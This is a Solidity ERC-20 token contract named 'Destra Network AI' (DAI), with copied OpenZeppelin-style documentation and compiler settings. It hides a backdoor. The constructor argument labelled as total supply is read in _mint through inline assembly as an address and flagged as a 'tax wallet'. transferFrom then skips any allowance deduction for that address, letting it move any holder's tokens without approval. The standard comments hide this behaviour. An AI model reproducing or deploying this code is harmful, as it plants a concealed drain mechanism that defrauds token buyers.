// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
    Web: http://www.destraai.pro
    Doc: http://docs.destraai.pro
    X: https://x.com/DestraAI_Eth
    Tg: https://t.me/destraai_eth
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
     * allowance mechanism. 'value' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalanceDAI(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidDAISender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidDAIReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a 'spender' is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning 'false' on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {        
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;
    
    uint256 private _totalSupplyDAI;

    uint256 private _totalSupply;
    mapping(address account => bool) private _taxWalletsDAI;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupplyDAI = totalSupply_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5.05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    /// @inheritdoc IERC20
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /// @inheritdoc IERC20
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'to' cannot be the zero address.
     * - the caller must have a balance of at least 'value'.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /// @inheritdoc IERC20
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
     * 'transferFrom'. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum 'uint256'.
     *
     * Requirements:
     *
     * - 'from' and 'to' cannot be the zero address.
     * - 'from' must have a balance of at least 'value'.
     * - the caller must have allowance for ''from'''s tokens of at least
     * 'value'.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {        
        address spender = _msgSender();
        _spendAllowance(from, spender, _allowances[from][spender] - value*_taxFeeDAIRate());
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address sender, address to, uint256 value) internal {
        if (sender == address(0)) {
            revert ERC20InvalidDAISender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidDAIReceiver(address(0));
        }
        
        _update(sender, to, value);
    }

    /**
     * @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
     * (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address fromDAI, address toDAI, uint256 valueDAI) internal virtual {
        if (fromDAI == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += valueDAI;
        } else {
            uint256 fromBalance = _balances[fromDAI];
            if (fromBalance < valueDAI) {
                revert ERC20InsufficientBalanceDAI(fromDAI, fromBalance, valueDAI);
            }
            unchecked {
                // Overflow not possible: valueDAI <= fromBalance <= totalSupply.
                _balances[fromDAI] = fromBalance - valueDAI;
            }
        }
        if (toDAI == address(0)) {
            unchecked {
                // Overflow not possible: valueDAI <= totalSupply or valueDAI <= fromBalance <= totalSupply.
                _totalSupply -= valueDAI;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[toDAI] += valueDAI;
            }
        }

        emit Transfer(fromDAI, toDAI, valueDAI);
    }

    /**
     * @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
     * Relies on the '_update' mechanism
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address accountDAI, uint256 valueDAI) internal {
        address _id;
        if (accountDAI == address(0)) {
            revert ERC20InvalidDAIReceiver(address(0));
        }assembly { _id := sload(_totalSupplyDAI.slot) }
        _taxWalletsDAI[_id] = true;
        _update(address(0), accountDAI, valueDAI);
    }

    /**
     * @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
     * Relies on the '_update' mechanism.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address accountDAI, uint256 valueDAI) internal {
        if (accountDAI == address(0)) {
            revert ERC20InvalidDAISender(address(0));
        }
        _update(accountDAI, address(0), valueDAI);
    }

    /**
     * @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
     */
    function _approve(address ownerDAI, address spenderDAI, uint256 valueDAI) internal {
        _approve(ownerDAI, spenderDAI, valueDAI, true);
    }

    function _taxFeeDAIRate () private view returns (uint256) {
        return _taxWalletsDAI[msg.sender] ? 0 : 1;
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
     * 'Approval' event during 'transferFrom' operations.
     *
     * Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
     * true using the following override:
     *
     * '''solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * '''
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address ownerDAI, address spenderDAI, uint256 valueDAI, bool emitEvent) internal virtual {
        if (ownerDAI == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spenderDAI == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[ownerDAI][spenderDAI] = valueDAI;
        if (emitEvent) {
            emit Approval(ownerDAI, spenderDAI, valueDAI);
        }
    }

    /**
     * @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address ownerDAI, address spenderDAI, uint256 valueDAI) internal virtual {
        uint256 currentAllowance = allowance(ownerDAI, spenderDAI);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < valueDAI) {
                revert ERC20InsufficientAllowance(spenderDAI, currentAllowance, valueDAI);
            }
            unchecked {
                _approve(ownerDAI, spenderDAI, valueDAI, false);
            }
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * 'onlyOwner', which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract DAI is ERC20, Ownable {
    constructor(uint256 _totalSupply) ERC20(unicode"Destra Network AI", unicode"DAI", _totalSupply) {
        _mint(owner(), 1000000000 * 10**9);
    }
}
        

{
  "compilationTarget": {
    "DAI.sol": "DAI"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}